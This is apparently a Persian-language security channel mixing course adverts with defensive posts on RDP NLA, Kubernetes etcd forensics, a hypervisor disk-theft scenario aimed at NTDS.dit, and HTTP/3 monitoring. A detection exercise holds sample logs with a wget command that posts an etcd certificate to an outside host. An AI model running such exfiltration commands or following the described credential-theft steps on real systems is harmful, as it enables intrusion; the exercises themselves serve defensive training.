نسخه جدید Attack Flow




این Attack Flow به متخصصین کشف کمک می‌کند تا فرآیندهای واقعی حمله را مدل کنند، «فلو»ها را رسم کنند و بهم‌پیوستگی تکنیک‌های مختلف را بهتر درک کنند. این کار باعث می‌شود کشف، دفاع و پاسخ به حملات هدفمند، ساختاریافته‌تر و علمی‌تر انجام شو


#آکادمی_روزبه

https://center-for-threat-informed-defense.github.io/attack-flow/

**نظر شما Anonymous بی نام است

دوستانی که علاقمند به سرفصل دوره مدیریت بحران هستند این مستند رو ببینند
یک پنجم دوره در خصوص این مطالب است
البته دوره کارگاه های فنی هم دارد منجمله فارنزیک
در این دوره با آخرین حملات روز ایران و نحوه بحران زدایی آشنا میشوید

خودت دریافتی رو پیشنهاد بده !

قراره یه کارشناس به تیم اضافه کنیم که هم رد بلد باشه هم بلو . خوببببب حملات رو بشناسه .

جوان باشه بهتره چون قراره حسابی درگیر بشه با تی شوت و حل مساله در تنظیمات ابزارهای کشف

برو لینکدینم در pv خبر بده تا پروفایل لینکدین رو ببینم صحبت کنیم بیای کمک .

ولی واقعا سواد و مهارت مهمه

خودت هم بگی چقدر میصرفه بیای
چون قراره با یه Talent کار کنیم

تمام.

#آکادمی_روزبه
09902857290
Www.haumoun.com

بحث Network Level Authentication (NLA) چیست؟

این موضوع یک ویژگی امنیتی است که در پروتکل RDP (نسخه‌های 6.0 و جدیدتر) معرفی شد. هدف اصلی آن این است که هویت کاربر را قبل از برقراری کامل یک جلسه Remote Desktop و بارگذاری صفحه لاگین ویندوز، تأیید کند.

به زبان ساده‌تر، به جای اینکه کامپیوتر مقصد (سرور) تمام منابع خود را برای ایجاد یک نشست کامل گرافیکی (Session) صرف کند و سپس از شما نام کاربری و رمز عبور بپرسد، NLA این فرآیند را معکوس می‌کند. اول هویت شما را در سطح شبکه تأیید می‌کند و تنها در صورت موفقیت‌آمیز بودن احراز هویت، اجازه می‌دهد که جلسه کامل برقرار شود.

این ویژگی از یک سرویس امنیتی به نام CredSSP (Credential Security Support Provider) استفاده می‌کند.


مزایای این روش:

امنیت بسیار بالاتر: از حملات DoS و Brute-Force جلوگیری می‌کند، زیرا مهاجمان حتی به صفحه لاگین هم نمی‌رسند که بخواهند رمزهای مختلف را تست کنند.
بهینه‌سازی منابع سرور: منابع سیستم فقط برای کاربران تأیید شده مصرف می‌شوند که باعث افزایش کارایی و پایداری سرور می‌گردد.
سرعت بالاتر در اتصال: چون فرآیند احراز هویت سبک و سریع است، اتصال برای کاربران قانونی سریع‌تر برقرار می‌شود.

#آکادمی_روزبه

فارنزیک Kubernetes

بازیابی رد پای حملات، حتی پس از پاک شدن پادها و آبجکت‌ها


وقتی مهاجم وارد کلاستر Kubernetes می‌شود و پس از اجرای payload یا دسترسی، سعی می‌کند آثار حمله‌اش را با حذف podها، secrets یا حتی namespace پاک کند، خیلی‌ها فکر می‌کنند دیگر اثری از نفوذ باقی نمی‌ماند.

اما…

تمام state کلاستر در etcd ذخیره می‌شود و اگر به موقع (و بی‌درنگ) یک snapshot از etcd تهیه شود ، می‌توانیم اطلاعات مربوط به آبجکت‌هایی که مدتی در کلاستر بودند (حتی اگر حذف شده باشند) را در تاریخچه و باقی‌مانده‌های etcd بازیابی و آنالیز کنیم.

مواردی که می‌شود پیداکرد:

موضوع Manifests حذف‌شده (yamlها)، یعنی کدهایی که مهاجم برای استقرار ابزار/ویروسش آورده است.
بحث Secrets، حتی اگر به ظاهر حذف شده باشند، در Snapshot ممکن است همچنان موجود باشد!
و eventها و متادیتاهایی مثل uid، timestamp ساخت و حذف، annotationهای مخفی و…

کاربرد عملی فارنزیک:

بازیابی کانفیگ و secrets بعد از حادثه و قبل از دستکاری کامل توسط مهاجم
مشخص کردن دقیق مسیر و قدم‌های مهاجم (TTPهای حمله)
یافتن شواهدی از ابزارهای یک‌بار مصرف (ephemeral pods)، مثل بات‌نت یا cryptominerهایی که سریع اسپین و حذف می‌شوند.


گاهی حتی بعد از حذف آبجکت‌ها، اثر انگشت (hashها، UIDها و annotationهای auto-generated) تا مدت‌ها به صورت reference در etcd باقی می‌ماند. این، یک شانس طلایی برای فارنزیک کار حرفه‌ای است!


#آکادمی_روزبه


از فرصت های خاص:
ثبت نام دوره حرفه ای CISSP
با تخفیف ۳۰ درصدی شرکت هامون
فقط اشخاص ساکن ایران
www.haumoun.com
واتس اپ و بله ۰۹۹۰۲۸۵۷۲۹۰

رای گیری ادامه داره

حمله Hypervisor Heist:

عبور خاموش از تمام خطوط دفاعی ویندوز و سرقت اعتبارنامه‌ها از VMware vSphere

در فضای امروز امنیت سایبری، بیشتر تمرکز سازمان‌ها روی حفاظت از سیستم‌عامل‌ها، سرویس‌ها و اپلیکیشن‌هاست. اما مهاجمان پیچیده‌تر سراغ لایه‌ای می‌روند که اغلب مورد غفلت قرار می‌گیرد:

هایپروایزر. یکی از سناریوهای حمله پیشرفته و به‌شدت خطرناک همین حمله Hypervisor Heist است که به ما نشان می‌دهد چطور یک تهدید می‌تواند خارج از دید کامل EDR و SIEM، اعتبارنامه‌های دامین کنترلر را سرقت کند.

شرح سناریوی حمله
در این حمله، مهاجم با دسترسی به vCenter (یا Hypervisor)، مراحل زیر را اجرا می‌کند:
شناسایی و خاموش‌کردن ماشین مجازی دامین کنترلر
مهاجم از vCenter ماشین دامین کنترلر را شناسایی و خاموش می‌کند تا دیسک آن باز نشود و دسترسی بگیرد.
جداسازی دیسک مجازی (.vmdk)
دیسک مجازی دامین کنترلر را از VM جدا کرده و به یک ماشین مجازی دیگر متصل می‌کند.

دسترسی آفلاین به دیتای حساس
در ماشین جدید، فایل NTDS.dit (بانک اطلاعاتی Active Directory) را کپی و استخراج می‌کند و حتی فایل‌ها و Credentialهای Kerberos و Hashها را استخراج می‌کند.

بازگشت به وضعیت عادی
نهایتاً دیسک مجازی را به همان VM اولیه برمی‌گرداند، VM را روشن می‌کند—انگار هیچ اتفاقی نیفتاده!

چرا این حمله را “Heist” می‌نامیم؟
پنهان‌کاری کامل: چون تمام عملیات روی دیسک آفلاین و بیرون از سیستم‌عامل ویندوز انجام می‌شود، محصولات امنیتی مانند EDR، XDR یا حتی SIEM هرگز متوجه حذف و کپی شدن NTDS.dit نمی‌شوند.
دور زدن هر نوع Rule شبکه: چون انتقال داده معمولاً از طریق سرور مدیریت (vCenter یا VCSA) انجام می‌شود، نفوذگر می‌تواند محدودیت‌های لایه شبکه را دور بزند مگر اینکه به‌درستی روی‌داده یا مانیتورینگ شود.
غفلت امنیتی سازمان‌ها: خیلی از سازمان‌ها هنوز هایپروایزر و زیرساخت مدیریت VMها را مانند سرویس‌های حیاتی، جدی نمی‌گیرند. در حالی که کنترل این لایه مساوی با کنترل همه چیز است.
راهکارها و توصیه‌ها
جداسازی شبکه مدیریت هایپروایزرهیچ دسترسی غیرضروری، اینترنتی یا حتی داخلی بدون کنترل نباید به vCenter و ESXi داده شود.
فعال‌سازی مانیتورینگ دقیق برروی vCenter، ESXi و Hypervisor APIsSIEM و SOAR باید آلارم‌های خاص مانند جدا کردن یا Add کردن دیسک، خاموش/روشن کردن غیرمنتظره VM را تحلیل کند.
رمزگذاری دیسک‌های VM و استفاده از TPM مجازیحتی اگر دیسک جدا شد، فقط با کلیدهای مدیریتی قابل بازیابی باشد.
استفاده از حساب‌های با کمترین سطح دسترسی و MFA برای مدیریت هایپروایزر
آموزش تیم عملیاتی و SOC در مورد TTPهای attack surface لایه مجازی‌سازی


#آکادمی_روزبه
#تجربه #درس_آموخته

تمرین برای مهندسان کشف

Detection Engineer


I0723 21:12:45.345678 1 audit.go:277] "Request received"
verb="create"
URI="/api/v1/namespaces/default/pods"
user="system:serviceaccount:devops:trusted-app"
sourceIP="192.168.10.239"



2025-07-23 21:13:02.991423 I | etcdserver: request: /v3/kv/range size:829
username=system:serviceaccount:devops:trusted-app
remote=192.168.10.239



I0723 21:13:10.564321 1 audit.go:277] "Create Pod" as "sleep-attack-459f9"
using serviceaccount="trusted-app"
image="busybox"
command="wget http://10.10.10.10/exfil --post-file /etc/kubernetes/pki/etcd/ca.crt"


Jul 23 21:13:15 node-4 kubelet[1217]: Created pod: sleep-attack-459f9 with image busybox
Jul 23 21:14:02 node-4 kubelet[1217]: Deleted pod: sleep-attack-459f9


{
"src_ip": "192.168.10.239",
"dst_ip": "10.10.10.10",
"src_port": 43216,
"dst_port": 80,
"payload_size": "2.3MB",
"timestamp": "2025-07-23T21:13:18Z"
}


حالا فکر کنید به اینکه چه خبره ؟!




ثبت نام دوره آمادگی آزمون CISSP
با 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
#مرکز_تخصصی_CISSP

هشدار مهم : شیر پوینت هاتون رو دریابید خیلی داره مورد حمله واقع میشه

CVE 2025-53770

به پایان آمد این دفتر ...
حکایت همچنان باقی

امروز جلسه آخر دوره بهار CISSP
الحمدالله
تمام.

۲ مرداد ماه ۱۴۰۴ تهران

بعد از چند سال و مخصوصا که الان دوره افتای SOC رو گذاشتم به فکر افتادم حالا که علاقمندان از من دوره هانت و تهدیدات پیشرفته میخوان ، چرا یه دوره جامع از اول نگذارم 👇👇
مطابق سرفصل های استاندارد جهانی نه سرفصل های ابداعی خودم
کاملا سرفصل های جهان بدون تغییر

در پست بعد بگویید

ثبت نام نکنید!!

شرایط کلاس من خاص است نه اینکه از آسمان آمده باشد بلکه من یک سرفصل سنگین برای ۱۰۰ ساعت CISSP دارم که مجبورم در ۳۰ ساعت ارائه دهم.

لذا راهکار را در این دیدم که :

۱- کلاس بجای کمپ ؛ بصورت هفتگی باشد تا زمان مطالعه بین جلسات یک هفته و قابل قبول باشد
۲- دانشجویان باید هر هفته همراه کلاس بخوانند
۳-در طول دوره و در طول هفته بخشی از مطالب قرار است در گروه تلگرامی ارائه شوند اما بنا به ماهیت فلسفی کلاس ابتدا سوالاتی در کلاس مطرح می‌شود و دانشجو باید ادامه ی آنرا در گروه انجام دهد. اگر ایشان پیگیر نباشد و کلاس را شرکت نکند یا مطالعه نداشته باشد و سوالی مطرح نشود؛ قطعا بخشی از کلاس از دست خواهد رفت
۴- اگرحوصله خواندن ندارید یا میخواین با ویدئو بعدا یاد بگیرید یا پیش نیاز ندارین ؛ کلاس نیاین! چون نمیشه با ویدئو؛ کلاس و دوره رو یاد گرفت.

۵-من تعهد به پشتیبانی از دانشجو رو دارم اما هر درس در همون جلسه و همون هفته و منتورینگ برای یکسال؛ پس اگر می‌گذارید درسها تلنبار شوند بعد یادتان می‌افتد که باید بخوانید؛ نباید از من انتظار زیاد داشته باشید چون من کلی پروژه دارم و وقت نمیکنم .
۶-من ادعای زیادی ندارم ولی تونسته ام سواد و توانمندی خاصی جمع کنم و درسی رو ارائه بدم اماااا تحت شرایطی !!
لذا اگر با این شرایط موافق نیستید؛ جاهای دیگر هست و در آن کلاسها شرکت فرمایید و یکدیگر را اذیت نکنیم
این دوره با این شرایط حداقل ۲۵۰۰ دلار ارزش دارد حالا اگر کسی اینو درک کرد ثبت نام میکند.

۷-اگر کارمندان شرکت و سازمانی قراره به اجبار یه دوره ۶ میلیون تومانی بروند، یا کلا دیدتون به CISSP یکسری محفوظات هست یا اینکه قراره نیست از گروه تلگرامی دوره سود ببرید و فقط قراره ویدئو ببینید ؛ لذا این دوره رو شرکت نکنید!! چون بله عددش زیاده و براتون نمی‌صرفه و تخفیف هم نمیتونیم بدیم چون تدریس چنین دوره ای در این سطح؛ زحمت داره.

در نهایت: من تعهدی بر تحویل ویدئوی دوره و متریال ها بصورت دسته بندی شده ندارم . ویدئو پس از هر جلسه شیر میشه و مطالب و رفرنس ها همون جلسه داده میشه لذا از من انتظار کالکتور بودن نداشته باشین

قدمتون سرچشم اگر اومدین و اگر نیومدین موفق باشید


با احترام 🌺

این حجم از درخواست عزیزان و ارادت دوستان منو به فکر انداخت شاید لازم باشه یک استارت مجدد از صفر تا صد SOC برای هموطنانم داشته باشم.

طراحی SOC های نوین
عبور از دیوار نامرئی؛ استراتژی‌های عملی برای نظارت و امنیت در عصر HTTP/3

ظهور پروتکل HTTP/3 و پروتکل زیربنایی آن، QUIC، نشانگر یک جهش بزرگ در تکامل اینترنت است. این پروتکل‌ها با هدف افزایش چشمگیر سرعت، کاهش تأخیر و بهبود امنیت طراحی شده‌اند. اما همین ویژگی‌هایی که HTTP/3 را قدرتمند می‌سازند، یک چالش بزرگ و بنیادین برای تیم‌های امنیت شبکه، مدیران سیستم و تحلیلگران SOC ایجاد کرده‌اند: از دست رفتن دید و شفافیت (Visibility) در ترافیک شبکه.

راهکارهای عملی برای نظارت و تحلیل

راهکار1: مسدودسازی یا محدودسازی QUIC (رویکرد کوتاه‌مدت)
این یک راهکار فوری اما غیرپایدار است. از آنجایی که QUIC روی پورت UDP/443 کار می‌کند، سازمان‌ها می‌توانند به سادگی ترافیک خروجی روی این پورت را مسدود کنند.


راهکار ۲: تحلیل متادیتا و اثرانگشت ترافیک (Metadata & Fingerprinting)
حتی اگر نتوانید محتوای ترافیک را ببینید، هنوز می‌توانید از متادیتای آن اطلاعات ارزشمندی استخراج کنید.

راهکار ۳: بازرسی درون‌خطی و پراکسی (Inline / Man-in-the-Middle)
این رویکرد مشابه بازرسی TLS سنتی است اما برای QUIC تطبیق داده شده است. یک دستگاه میانی ترافیک را خاتمه داده، بازرسی کرده و مجدداً برقرار می‌کند.

راهکار ۴: نظارت بر روی نقطه پایانی (Endpoint Visibility) - استراتژی کلیدی آینده
این راهکار، پارادایم را از “نظارت بر شبکه” به “نظارت بر جایی که داده تولید و مصرف می‌شود” تغییر می‌دهد. این مؤثرترین راهکار بلندمدت است.

بحث HTTP/3 و QUIC یک چالش جدی اما قابل مدیریت هستند. دوران تکیه صرف بر بازرسی پسیو شبکه به پایان رسیده است. برای حفظ دید و امنیت، سازمان‌ها باید یک ذهنیت جدید را بپذیرند: استراتژی‌ای که ترکیبی هوشمندانه از کنترل‌های مرزی، تحلیل متادیتای شبکه و مهم‌تر از همه، دید عمیق بر روی نقاط پایانی باشد. عبور از دیوار نامرئی QUIC نیازمند ابزارهای جدید و یک رویکرد چندلایه و انعطاف‌پذیر است.


دوره تخصصی CISSP
استفاده از 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
www.haumoun.com